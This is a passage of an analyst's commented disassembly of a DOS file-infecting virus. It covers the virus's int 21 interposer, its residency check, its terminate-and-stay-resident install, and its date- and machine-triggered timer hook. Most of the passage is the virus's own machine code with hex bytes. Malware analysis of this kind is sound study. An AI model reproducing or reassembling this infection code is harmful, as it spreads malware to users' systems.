|
|
|
|
1E72:29F8 E80501 CALL int21 ; set date and time
|
|
|
|
|
1E72:29FB B43E MOV AH,3E
|
|
|
|
|
1E72:29FD E80001 CALL int21 ; close file
|
|
|
|
|
1E72:2A00 B80143 MOV AX,4301
|
|
|
|
|
1E72:2A03 BAF401 MOV DX,01F4
|
|
|
|
|
1E72:2A06 8A0E3901 MOV CL,[0139]
|
|
|
|
|
1E72:2A0A B500 MOV CH,00
|
|
|
|
|
1E72:2A0C E8F100 CALL int21 ; set attributes
|
|
|
|
|
1E72:2A0F B020 MOV AL,20
|
|
|
|
|
1E72:2A11 8606A801 XCHG AL,[01A8]
|
|
|
|
|
1E72:2A15 C3 RET
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; this is the dos int 21 interposer.
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
1E72:2A16 9C PUSHF
|
|
|
|
|
1E72:2A17 3DE033 CMP AX,33E0 ; special installation
|
|
|
|
|
; test.
|
|
|
|
|
1E72:2A1A 7504 JNZ 2A20
|
|
|
|
|
1E72:2A1C B0E0 MOV AL,E0 ; return e0 instead of
|
|
|
|
|
; the dos value ff for
|
|
|
|
|
; this invalid call
|
|
|
|
|
1E72:2A1E 9D POPF
|
|
|
|
|
1E72:2A1F CF IRET
|
|
|
|
|
|
|
|
|
|
1E72:2A20 9D POPF
|
|
|
|
|
1E72:2A21 9C PUSHF
|
|
|
|
|
1E72:2A22 50 PUSH AX
|
|
|
|
|
1E72:2A23 53 PUSH BX
|
|
|
|
|
1E72:2A24 51 PUSH CX
|
|
|
|
|
1E72:2A25 52 PUSH DX
|
|
|
|
|
1E72:2A26 56 PUSH SI
|
|
|
|
|
1E72:2A27 57 PUSH DI
|
|
|
|
|
1E72:2A28 55 PUSH BP
|
|
|
|
|
1E72:2A29 1E PUSH DS
|
|
|
|
|
1E72:2A2A 06 PUSH ES
|
|
|
|
|
1E72:2A2B 80FC31 CMP AH,31 ; keep process
|
|
|
|
|
1E72:2A2E 743F JZ 2A6F
|
|
|
|
|
1E72:2A30 80FC00 CMP AH,00 ; terminate
|
|
|
|
|
1E72:2A33 7447 JZ 2A7C
|
|
|
|
|
1E72:2A35 80FC4C CMP AH,4C ; terminate
|
|
|
|
|
1E72:2A38 7442 JZ 2A7C
|
|
|
|
|
1E72:2A3A 80FC39 CMP AH,39 ; create dir
|
|
|
|
|
1E72:2A3D 744D JZ 2A8C
|
|
|
|
|
1E72:2A3F 80FC3A CMP AH,3A ; remove dir
|
|
|
|
|
1E72:2A42 7448 JZ 2A8C
|
|
|
|
|
1E72:2A44 80FC3C CMP AH,3C ; create file
|
|
|
|
|
1E72:2A47 7443 JZ 2A8C
|
|
|
|
|
1E72:2A49 3D013D CMP AX,3D01 ; open for writing
|
|
|
|
|
1E72:2A4C 743E JZ 2A8C
|
|
|
|
|
1E72:2A4E 80FC41 CMP AH,41 ; delete file
|
|
|
|
|
1E72:2A51 7439 JZ 2A8C
|
|
|
|
|
1E72:2A53 80FC43 CMP AH,43 ; change attributes
|
|
|
|
|
1E72:2A56 7434 JZ 2A8C
|
|
|
|
|
1E72:2A58 80FC56 CMP AH,56 ; move directory entry
|
|
|
|
|
1E72:2A5B 742F JZ 2A8C
|
|
|
|
|
1E72:2A5D 80FC13 CMP AH,13 ; delete file (FCB)
|
|
|
|
|
1E72:2A60 743D JZ 2A9F
|
|
|
|
|
1E72:2A62 80FC16 CMP AH,16 ; create file (FCB)
|
|
|
|
|
1E72:2A65 7438 JZ 2A9F
|
|
|
|
|
1E72:2A67 80FC17 CMP AH,17 ; rename file (FCB)
|
|
|
|
|
1E72:2A6A 7433 JZ 2A9F
|
|
|
|
|
1E72:2A6C EB22 JMP 2A90
|
|
|
|
|
1E72:2A6E 90 NOP
|
|
|
|
|
|
|
|
|
|
1E72:2A6F 2E CS:
|
|
|
|
|
1E72:2A70 803E500200 CMP BYTE PTR [0250],00
|
|
|
|
|
1E72:2A75 7519 JNZ 2A90
|
|
|
|
|
1E72:2A77 8AD8 MOV BL,AL
|
|
|
|
|
1E72:2A79 EB43 JMP 2ABE
|
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|
|
|
1E72:2A7B 90 NOP
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; this routine is interposed on terminate calls
|
|
|
|
|
;
|
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|
|
|
|
|
1E72:2A7C 2E CS:
|
|
|
|
|
1E72:2A7D 803E500200 CMP BYTE PTR [0250],00
|
|
|
|
|
1E72:2A82 750C JNZ 2A90
|
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|
1E72:2A84 BA0000 MOV DX,0000
|
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|
1E72:2A87 8AD8 MOV BL,AL
|
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|
|
1E72:2A89 EB33 JMP 2ABE
|
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|
|
|
1E72:2A8B 90 NOP
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; this function is interposed on handle oriented
|
|
|
|
|
; file io calls
|
|
|
|
|
;
|
|
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|
|
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1E72:2A8C FB STI
|
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|
|
1E72:2A8D E8A4FD CALL 2834
|
|
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|
|
|
|
|
;
|
|
|
|
|
; here we come to resume the old dos entry point
|
|
|
|
|
;
|
|
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|
|
|
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|
|
|
1E72:2A90 07 POP ES
|
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|
1E72:2A91 1F POP DS
|
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|
1E72:2A92 5D POP BP
|
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|
|
1E72:2A93 5F POP DI
|
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|
1E72:2A94 5E POP SI
|
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|
1E72:2A95 5A POP DX
|
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|
|
1E72:2A96 59 POP CX
|
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|
1E72:2A97 5B POP BX
|
|
|
|
|
1E72:2A98 58 POP AX
|
|
|
|
|
1E72:2A99 9D POPF
|
|
|
|
|
1E72:2A9A 2E CS:
|
|
|
|
|
1E72:2A9B FF2E0C01 JMP FAR [010C]
|
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|
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|
|
|
|
|
;
|
|
|
|
|
; this routine is interposed on delete, create and
|
|
|
|
|
; rename functions related to FCB's
|
|
|
|
|
;
|
|
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|
|
|
1E72:2A9F FB STI
|
|
|
|
|
1E72:2AA0 E869FD CALL 280C
|
|
|
|
|
1E72:2AA3 EBEB JMP 2A90
|
|
|
|
|
;
|
|
|
|
|
; the next function is the dos terminate and stay
|
|
|
|
|
; resident interrupt (int 27) interposer.
|
|
|
|
|
;
|
|
|
|
|
; become resident with given number of bytes in
|
|
|
|
|
; dx. this size is rounded to paragraphs. retain
|
|
|
|
|
; exit code given on entry in al.
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
1E72:2AA5 83C406 ADD SP,+06
|
|
|
|
|
1E72:2AA8 D1EA SHR DX,1
|
|
|
|
|
1E72:2AAA D1EA SHR DX,1
|
|
|
|
|
1E72:2AAC D1EA SHR DX,1
|
|
|
|
|
1E72:2AAE D1EA SHR DX,1
|
|
|
|
|
1E72:2AB0 42 INC DX
|
|
|
|
|
1E72:2AB1 8AD8 MOV BL,AL
|
|
|
|
|
1E72:2AB3 EB09 JMP 2ABE ; goto common code
|
|
|
|
|
1E72:2AB5 90 NOP
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; the next function is the interposer for the
|
|
|
|
|
; interrupt 20, terminate program
|
|
|
|
|
;
|
|
|
|
|
; terminate with exit code 0 and no paragraphs to
|
|
|
|
|
; be retained
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
1E72:2AB6 83C406 ADD SP,+06
|
|
|
|
|
1E72:2AB9 BA0000 MOV DX,0000
|
|
|
|
|
1E72:2ABC B300 MOV BL,00
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; common code follows
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
1E72:2ABE B80000 MOV AX,0000 ; make interrupt vector
|
|
|
|
|
; table addressable
|
|
|
|
|
1E72:2AC1 8ED8 MOV DS,AX
|
|
|
|
|
|
|
|
|
|
1E72:2AC3 2E CS: ; set vector 20
|
|
|
|
|
1E72:2AC4 A11401 MOV AX,[0114]
|
|
|
|
|
1E72:2AC7 A38000 MOV [0080],AX
|
|
|
|
|
1E72:2ACA 2E CS:
|
|
|
|
|
1E72:2ACB A11601 MOV AX,[0116]
|
|
|
|
|
1E72:2ACE A38200 MOV [0082],AX
|
|
|
|
|
|
|
|
|
|
1E72:2AD1 2E CS: ; set vector 27
|
|
|
|
|
1E72:2AD2 A11001 MOV AX,[0110]
|
|
|
|
|
1E72:2AD5 A39C00 MOV [009C],AX
|
|
|
|
|
1E72:2AD8 2E CS:
|
|
|
|
|
1E72:2AD9 A11201 MOV AX,[0112]
|
|
|
|
|
1E72:2ADC A39E00 MOV [009E],AX
|
|
|
|
|
|
|
|
|
|
1E72:2ADF 2E CS:
|
|
|
|
|
1E72:2AE0 C606500201 MOV BYTE PTR [0250],01
|
|
|
|
|
1E72:2AE5 FB STI
|
|
|
|
|
|
|
|
|
|
1E72:2AE6 B8C40B MOV AX,0BC4 ; get a fixed area
|
|
|
|
|
1E72:2AE9 D1E8 SHR AX,1
|
|
|
|
|
1E72:2AEB D1E8 SHR AX,1
|
|
|
|
|
1E72:2AED D1E8 SHR AX,1
|
|
|
|
|
1E72:2AEF D1E8 SHR AX,1
|
|
|
|
|
1E72:2AF1 40 INC AX
|
|
|
|
|
1E72:2AF2 03D0 ADD DX,AX
|
|
|
|
|
1E72:2AF4 B80031 MOV AX,3100
|
|
|
|
|
1E72:2AF7 8AC3 MOV AL,BL ; restore exit code
|
|
|
|
|
1E72:2AF9 9C PUSHF
|
|
|
|
|
1E72:2AFA FA CLI
|
|
|
|
|
1E72:2AFB 2E CS:
|
|
|
|
|
1E72:2AFC FF1E0C01 CALL FAR [010C] ; terminate and stay
|
|
|
|
|
; resident. this call
|
|
|
|
|
; does not return
|
|
|
|
|
;
|
|
|
|
|
; the next routine is used to call dos for internal
|
|
|
|
|
; operations
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
int21:
|
|
|
|
|
1E72:2B00 9C PUSHF
|
|
|
|
|
1E72:2B01 FA CLI
|
|
|
|
|
1E72:2B02 2E CS:
|
|
|
|
|
1E72:2B03 FF1E0C01 CALL FAR [010C]
|
|
|
|
|
1E72:2B07 C3 RET
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; here we enter during the start of a infected
|
|
|
|
|
; program. the way to this location passes two
|
|
|
|
|
; unconditional jmp instructions
|
|
|
|
|
;
|
|
|
|
|
-u 2b08,2cf6
|
|
|
|
|
|
|
|
|
|
1CF5:2B08 9C PUSHF ; save registers
|
|
|
|
|
1CF5:2B09 50 PUSH AX
|
|
|
|
|
1CF5:2B0A 53 PUSH BX
|
|
|
|
|
1CF5:2B0B 51 PUSH CX
|
|
|
|
|
1CF5:2B0C 52 PUSH DX
|
|
|
|
|
1CF5:2B0D 56 PUSH SI
|
|
|
|
|
1CF5:2B0E 57 PUSH DI
|
|
|
|
|
1CF5:2B0F 55 PUSH BP
|
|
|
|
|
1CF5:2B10 1E PUSH DS
|
|
|
|
|
1CF5:2B11 06 PUSH ES
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; the call to the following dos function is always
|
|
|
|
|
; invalid. if the virus is resident, the dos
|
|
|
|
|
; interrupt becomes interposed. this interposer
|
|
|
|
|
; returns e0 in al for the following function.
|
|
|
|
|
; the interposer can be found at location 2A16.
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
1CF5:2B12 B8E033 MOV AX,33E0 ; ctrl-c check (?)
|
|
|
|
|
1CF5:2B15 CD21 INT 21
|
|
|
|
|
|
|
|
|
|
1CF5:2B17 3CFF CMP AL,FF
|
|
|
|
|
1CF5:2B19 7423 JZ 2B3E ; if error -> 2b3e. this
|
|
|
|
|
; means the virus is not
|
|
|
|
|
; jet installed.
|
|
|
|
|
|
|
|
|
|
1CF5:2B1B 8CCE MOV SI,CS ; move in code segment
|
|
|
|
|
1CF5:2B1D 8EC6 MOV ES,SI
|
|
|
|
|
1CF5:2B1F 8B360101 MOV SI,[0101] ; get offset for jmp.
|
|
|
|
|
1CF5:2B23 81C60601 ADD SI,0106 ; find saved code
|
|
|
|
|
1CF5:2B27 B90400 MOV CX,0004 ; restore first 4 bytes
|
|
|
|
|
1CF5:2B2A BF0001 MOV DI,0100 ; move to 100
|
|
|
|
|
1CF5:2B2D F3 REPZ
|
|
|
|
|
1CF5:2B2E A4 MOVSB ; move it
|
|
|
|
|
|
|
|
|
|
1CF5:2B2F 07 POP ES ; restore registers
|
|
|
|
|
1CF5:2B30 1F POP DS
|
|
|
|
|
1CF5:2B31 5D POP BP
|
|
|
|
|
1CF5:2B32 5F POP DI
|
|
|
|
|
1CF5:2B33 5E POP SI
|
|
|
|
|
1CF5:2B34 5A POP DX
|
|
|
|
|
1CF5:2B35 59 POP CX
|
|
|
|
|
1CF5:2B36 5B POP BX
|
|
|
|
|
1CF5:2B37 58 POP AX
|
|
|
|
|
1CF5:2B38 9D POPF
|
|
|
|
|
|
|
|
|
|
1CF5:2B39 BD0001 MOV BP,0100
|
|
|
|
|
1CF5:2B3C FFE5 JMP BP ; jump to old entry
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; if we come here, we may assume the virus is not jet
|
|
|
|
|
; installed
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
1CF5:2B3E B104 MOV CL,04
|
|
|
|
|
1CF5:2B40 8CC8 MOV AX,CS
|
|
|
|
|
|
|
|
|
|
1CF5:2B42 BEE30A MOV SI,0AE3 ; get size of the
|
|
|
|
|
; resident part of the
|
|
|
|
|
; virus
|
|
|
|
|
1CF5:2B45 D3EE SHR SI,CL
|
|
|
|
|
1CF5:2B47 46 INC SI ; si seems to be a the
|
|
|
|
|
; paragraph count
|
|
|
|
|
1CF5:2B48 BFFFFF MOV DI,FFFF
|
|
|
|
|
1CF5:2B4B D3EF SHR DI,CL
|
|
|
|
|
1CF5:2B4D 47 INC DI ; di is always (?) 1000
|
|
|
|
|
|
|
|
|
|
1CF5:2B4E 03C6 ADD AX,SI
|
|
|
|
|
1CF5:2B50 03C7 ADD AX,DI
|
|
|
|
|
1CF5:2B52 03C7 ADD AX,DI
|
|
|
|
|
1CF5:2B54 40 INC AX ; sum up, but what ? i
|
|
|
|
|
; assume the virus lets
|
|
|
|
|
; installs only if there
|
|
|
|
|
; are (2000+X+a few)
|
|
|
|
|
; paragraphs left. X is
|
|
|
|
|
; the amount of
|
|
|
|
|
; paragraphs needed by
|
|
|
|
|
; the virus
|
|
|
|
|
1CF5:2B55 2E CS:
|
|
|
|
|
1CF5:2B56 3B060200 CMP AX,[0002] ; in cs:[0002] we find
|
|
|
|
|
; the segment adrs of
|
|
|
|
|
; the top of the memory
|
|
|
|
|
|
|
|
|
|
1CF5:2B5A 73BF JNB 2B1B ; enter original program
|
|
|
|
|
|
|
|
|
|
1CF5:2B5C 07 POP ES ; restore registers
|
|
|
|
|
1CF5:2B5D 1F POP DS
|
|
|
|
|
1CF5:2B5E 5D POP BP
|
|
|
|
|
1CF5:2B5F 5F POP DI
|
|
|
|
|
1CF5:2B60 5E POP SI
|
|
|
|
|
1CF5:2B61 5A POP DX
|
|
|
|
|
1CF5:2B62 59 POP CX
|
|
|
|
|
1CF5:2B63 5B POP BX
|
|
|
|
|
1CF5:2B64 58 POP AX
|
|
|
|
|
1CF5:2B65 9D POPF
|
|
|
|
|
|
|
|
|
|
1CF5:2B66 8BE8 MOV BP,AX ; ax contains the info
|
|
|
|
|
; whether the drives
|
|
|
|
|
; given on the
|
|
|
|
|
; commandline are valid
|
|
|
|
|
|
|
|
|
|
1CF5:2B68 E9E600 JMP 2C51 ; jump to install
|
|
|
|
|
; routine
|
|
|
|
|
|
|
|
|
|
1CF5:2B6B 8BC5 MOV AX,BP
|
|
|
|
|
1CF5:2B6D 2E CS:
|
|
|
|
|
1CF5:2B6E 8E160A01 MOV SS,[010A]
|
|
|
|
|
1CF5:2B72 BC0000 MOV SP,0000
|
|
|
|
|
1CF5:2B75 2E CS:
|
|
|
|
|
1CF5:2B76 8E1E0A01 MOV DS,[010A]
|
|
|
|
|
1CF5:2B7A 2E CS:
|
|
|
|
|
1CF5:2B7B 8E060A01 MOV ES,[010A]
|
|
|
|
|
1CF5:2B7F BD0000 MOV BP,0000
|
|
|
|
|
1CF5:2B82 55 PUSH BP
|
|
|
|
|
|
|
|
|
|
1CF5:2B83 9C PUSHF
|
|
|
|
|
1CF5:2B84 50 PUSH AX
|
|
|
|
|
1CF5:2B85 53 PUSH BX
|
|
|
|
|
1CF5:2B86 51 PUSH CX
|
|
|
|
|
1CF5:2B87 52 PUSH DX
|
|
|
|
|
1CF5:2B88 56 PUSH SI
|
|
|
|
|
1CF5:2B89 57 PUSH DI
|
|
|
|
|
1CF5:2B8A 55 PUSH BP
|
|
|
|
|
1CF5:2B8B 1E PUSH DS
|
|
|
|
|
1CF5:2B8C 06 PUSH ES
|
|
|
|
|
1CF5:2B8D FB STI
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; the nex section of code saves the contents of some
|
|
|
|
|
; interrupt vectors
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
1CF5:2B8E B80000 MOV AX,0000 ; use data segment 0
|
|
|
|
|
1CF5:2B91 8ED8 MOV DS,AX
|
|
|
|
|
|
|
|
|
|
1CF5:2B93 C43E8000 LES DI,[0080] ; get int 20 (terminate)
|
|
|
|
|
1CF5:2B97 2E CS:
|
|
|
|
|
1CF5:2B98 893E1401 MOV [0114],DI ; store it to [114-117]
|
|
|
|
|
1CF5:2B9C 2E CS:
|
|
|
|
|
1CF5:2B9D 8C061601 MOV [0116],ES
|
|
|
|
|
|
|
|
|
|
1CF5:2BA1 C43E2000 LES DI,[0020] ; get int 8 (timer)
|
|
|
|
|
1CF5:2BA5 2E CS:
|
|
|
|
|
1CF5:2BA6 893E1C01 MOV [011C],DI ; store it to [11c-11f]
|
|
|
|
|
1CF5:2BAA 2E CS:
|
|
|
|
|
1CF5:2BAB 8C061E01 MOV [011E],ES
|
|
|
|
|
|
|
|
|
|
1CF5:2BAF C43E8400 LES DI,[0084] ; get int 21 (dos)
|
|
|
|
|
1CF5:2BB3 2E CS:
|
|
|
|
|
1CF5:2BB4 893E0C01 MOV [010C],DI ; store it to [10c-10f]
|
|
|
|
|
1CF5:2BB8 2E CS:
|
|
|
|
|
1CF5:2BB9 8C060E01 MOV [010E],ES
|
|
|
|
|
|
|
|
|
|
1CF5:2BBD C43E9C00 LES DI,[009C] ; get int 27 (tbsr)
|
|
|
|
|
1CF5:2BC1 2E CS:
|
|
|
|
|
1CF5:2BC2 893E1001 MOV [0110],DI ; store it to [110-113]
|
|
|
|
|
1CF5:2BC6 2E CS:
|
|
|
|
|
1CF5:2BC7 8C061201 MOV [0112],ES
|
|
|
|
|
|
|
|
|
|
;
|
|
|
|
|
; the next section sets up some interrupt vectors
|
|
|
|
|
;
|
|
|
|
|
|
|
|
|
|
1CF5:2BCB FA CLI
|
|
|
|
|
1CF5:2BCC C70680008E09 MOV WORD PTR [0080],098E ; set int 20 (terminate)
|
|
|
|
|
1CF5:2BD2 8C0E8200 MOV [0082],CS
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1CF5:92BD6 C7069C007D09 MOV WORD PTR [009C],097D ; set int 27 (tbsr)
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1CF5:2BDC 8C0E9E00 MOV [009E],CS
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1CF5:2BE0 C7068400EE08 MOV WORD PTR [0084],08EE ; set int 21 (dos)
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1CF5:2BE6 8C0E8600 MOV [0086],CS
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1CF5:2BEA FB STI
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1CF5:2BEB 2E CS:
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1CF5:2BEC 803E070100 CMP BYTE PTR [0107],00
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1CF5:2BF1 744C JZ 2C3F
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1CF5:2BF3 B42A MOV AH,2A
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1CF5:2BF5 CD21 INT 21 ; get date
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; cx = year
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; dh = month
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; dl = day
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1CF5:2BF7 81F9C307 CMP CX,07C3 ; 7c3 == 1987 (dec)
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1CF5:2BFB 720A JB 2C07 ; up to and including
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; 1986 jump to 2c07
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1CF5:2BFD 7710 JA 2C0F ; after 1896 jump to
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; 2c0f
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1CF5:2BFF 81FA0105 CMP DX,0501
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1CF5:2C03 730A JNB 2C0F ; after 1.may jump to
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; 2c0f
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1CF5:2C05 EB38 JMP 2C3F
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1CF5:2C07 2E CS:
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1CF5:2C08 803E070102 CMP BYTE PTR [0107],02
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1CF5:2C0D 7230 JB 2C3F
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;
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; we jump to this label always after 1986. also we
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; come here any jear before 1986 after the 1. of may,
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; which is a public holiday in germany
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;
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; the cx register still contains the year. this info
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; is used later to generate a pseudo random number
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;
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1CF5:2C0F 1E PUSH DS
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1CF5:2C10 B8FFFF MOV AX,FFFF
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1CF5:2C13 8ED8 MOV DS,AX
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1CF5:2C15 A00E00 MOV AL,[000E] ; ffff:000e contains the
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; machine type. this is
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; fc for an ibm pc/at
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; fd for an ibm pc/jr
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; fe for an ibm pc/xt
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; ff for an ibm pc
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; by masking out, the
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; virus detects if its
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; running on an ibm
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; machine.
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1CF5:2C18 24FC AND AL,FC
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1CF5:2C1A 3CFC CMP AL,FC
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1CF5:2C1C 1F POP DS
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1CF5:2C1D 7520 JNZ 2C3F ; jump if this is not
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; an ibm machine
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;
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; in the next section a (pseudo-) random number is
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; generated in al. besides some memory locations
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; the current year is used for computations.
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; in 1 of 4 cases (ax bits 0 and 1
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; are zero) a new int 8 handler becomes established
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;
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1CF5:2C1F A16C04 MOV AX,[046C]
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1CF5:2C22 03066E04 ADD AX,[046E]
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1CF5:2C26 35AA55 XOR AX,55AA
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1CF5:2C29 D3C9 ROR CX,CL
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1CF5:2C2B 03C1 ADD AX,CX
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1CF5:2C2D 2403 AND AL,03
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1CF5:2C2F 3C00 CMP AL,00
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1CF5:2C31 750C JNZ 2C3F
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;
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; the following is done only in 1/4 of all possible
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; cases
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;
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1CF5:2C33 FA CLI ; replace int 8 (timer)
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1CF5:2C34 C70620007A06 MOV WORD PTR [0020],067A
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1CF5:2C3A 8C0E2200 MOV [0022],CS
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1CF5:2C3E FB STI
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1CF5:2C3F E896FB CALL 27D8 ; enable all data thats
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; necessary to play a
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; tune
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;
|
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; the next section looks like it is returning to the
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; old main program ?
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;
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1CF5:2C42 07 POP ES
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1CF5:2C43 1F POP DS
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1CF5:2C44 5D POP BP
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1CF5:2C45 5F POP DI
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1CF5:2C46 5E POP SI
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1CF5:2C47 5A POP DX
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1CF5:2C48 59 POP CX
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1CF5:2C49 5B POP BX
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1CF5:2C4A 58 POP AX
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1CF5:2C4B 9D POPF
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1CF5:2C4C 2E CS:
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1CF5:2C4D FF2E0801 JMP FAR [0108]
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;
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; here we come when we are going to make the
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; virus resident in main memory. bp contains the
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; value of the ax register it contained on program
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; start.
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;
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1CF5:2C51 8CC8 MOV AX,CS ; addressability
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1CF5:2C53 8ED8 MOV DS,AX
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1CF5:2C55 8EC0 MOV ES,AX
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1CF5:2C57 8B1E0101 MOV BX,[0101]
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1CF5:2C5B 81C30301 ADD BX,0103 ; bx is offset to saved
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; code from original
|
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; file
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1CF5:2C5F 8CC8 MOV AX,CS
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1CF5:2C61 BEE30A MOV SI,0AE3
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1CF5:2C64 03F3 ADD SI,BX
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1CF5:2C66 D1EE SHR SI,1
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1CF5:2C68 D1EE SHR SI,1
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1CF5:2C6A D1EE SHR SI,1
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1CF5:2C6C D1EE SHR SI,1
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1CF5:2C6E 46 INC SI
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1CF5:2C6F 03C6 ADD AX,SI
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1CF5:2C71 8BD0 MOV DX,AX
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1CF5:2C73 8ED2 MOV SS,DX
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1CF5:2C75 BCFEFF MOV SP,FFFE
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1CF5:2C78 B91F00 MOV CX,001F
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1CF5:2C7B 8BF3 MOV SI,BX
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1CF5:2C7D 8BFB MOV DI,BX
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1CF5:2C7F 81C7C40A ADD DI,0AC4
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1CF5:2C83 81C6A50A ADD SI,0AA5
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1CF5:2C87 FC CLD
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1CF5:2C88 F3 REPZ
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1CF5:2C89 A4 MOVSB
|
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1CF5:2C8A 8BC3 MOV AX,BX
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1CF5:2C8C 05C40A ADD AX,0AC4
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|
1CF5:2C8F FFE0 JMP AX
|
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1CF5:2C91 8CC8 MOV AX,CS
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1CF5:2C93 BEC40B MOV SI,0BC4
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|
1CF5:2C96 D1EE SHR SI,1
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|
1CF5:2C98 D1EE SHR SI,1
|
|
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|
1CF5:2C9A D1EE SHR SI,1
|
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|
1CF5:2C9C D1EE SHR SI,1
|
|
|
|
|
1CF5:2C9E 46 INC SI
|
|
|
|
|
1CF5:2C9F 03C6 ADD AX,SI
|
|
|
|
|
1CF5:2CA1 8EC0 MOV ES,AX
|
|
|
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|
1CF5:2CA3 8EDA MOV DS,DX
|
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|
1CF5:2CA5 BE0000 MOV SI,0000
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|
1CF5:2CA8 BF0000 MOV DI,0000
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|
1CF5:2CAB 8BCB MOV CX,BX
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|
|
|
1CF5:2CAD F3 REPZ
|
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|
|
|
1CF5:2CAE A4 MOVSB
|
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|
|
1CF5:2CAF 8CC8 MOV AX,CS
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|
1CF5:2CB1 8ED8 MOV DS,AX
|
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|
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|
1CF5:2CB3 BE0301 MOV SI,0103
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|
1CF5:2CB6 BF0001 MOV DI,0100
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|
|
|
|
1CF5:2CB9 B90400 MOV CX,0004
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|
|
|
|
1CF5:2CBC F3 REPZ
|
|
|
|
|
1CF5:2CBD A4 MOVSB
|
|
|
|
|
1CF5:2CBE 2E CS:
|
|
|
|
|
1CF5:2CBF C70608010001 MOV WORD PTR [0108],0100
|
|
|
|
|
1CF5:2CC5 2E CS:
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|
|
|
|
1CF5:2CC6 8C060A01 MOV [010A],ES
|
|
|
|
|
1CF5:2CCA E99EFE JMP 2B6B
|
|
|
|
|
1CF5:2CCD 8EC2 MOV ES,DX
|
|
|
|
|
1CF5:2CCF BE0000 MOV SI,0000
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|
|
|
|
1CF5:2CD2 BF0000 MOV DI,0000
|
|
|
|
|
1CF5:2CD5 8BCB MOV CX,BX
|
|
|
|
|
1CF5:2CD7 F3 REPZ
|
|
|
|
|
1CF5:2CD8 A4 MOVSB
|
|
|
|
|
1CF5:2CD9 8CCF MOV DI,CS
|
|
|
|
|
1CF5:2CDB 8EC7 MOV ES,DI
|
|
|
|
|
1CF5:2CDD BF0001 MOV DI,0100
|
|
|
|
|
1CF5:2CE0 8BF3 MOV SI,BX
|
|
|
|
|
1CF5:2CE2 B9C40A MOV CX,0AC4
|
|
|
|
|
1CF5:2CE5 F3 REPZ
|
|
|
|
|
1CF5:2CE6 A4 MOVSB
|
|
|
|
|
1CF5:2CE7 B8690B MOV AX,0B69
|
|
|
|
|
1CF5:2CEA FFE0 JMP AX
|
|
|
|
|
1CF5:2CEC B80D00 MOV AX,000D
|
|
|
|
|
1CF5:2CEF 50 PUSH AX
|
|
|
|
|
1CF5:2CF0 B80500 MOV AX,0005
|
|
|
|
|
1CF5:2CF3 50 PUSH AX
|
|
|
|
|
1CF5:2CF4 E83409 CALL 362B
|
|
|
|
|
|
|
|
|
|
-i would like to give final conclusions about the virus, which are my private
|
|
|
|
|
intentionally feeling:
|
|
|
|
|
|
|
|
|
|
the author of the virus seems to be one, who knows a lot about the 8088
|
|
|
|
|
processor. he (or she, who knows ?) seems to be someone familiar with the
|
|
|
|
|
concepts of the c programming language. by looking through the code, i
|
|
|
|
|
believe that he is not very familiar with the assembler itself. lots of
|
|
|
|
|
instructions could be more elegant. the computation of some constant values
|
|
|
|
|
could be left to the assembler, if he wold know the more advanced operators.
|
|
|
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|
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|
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|
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|
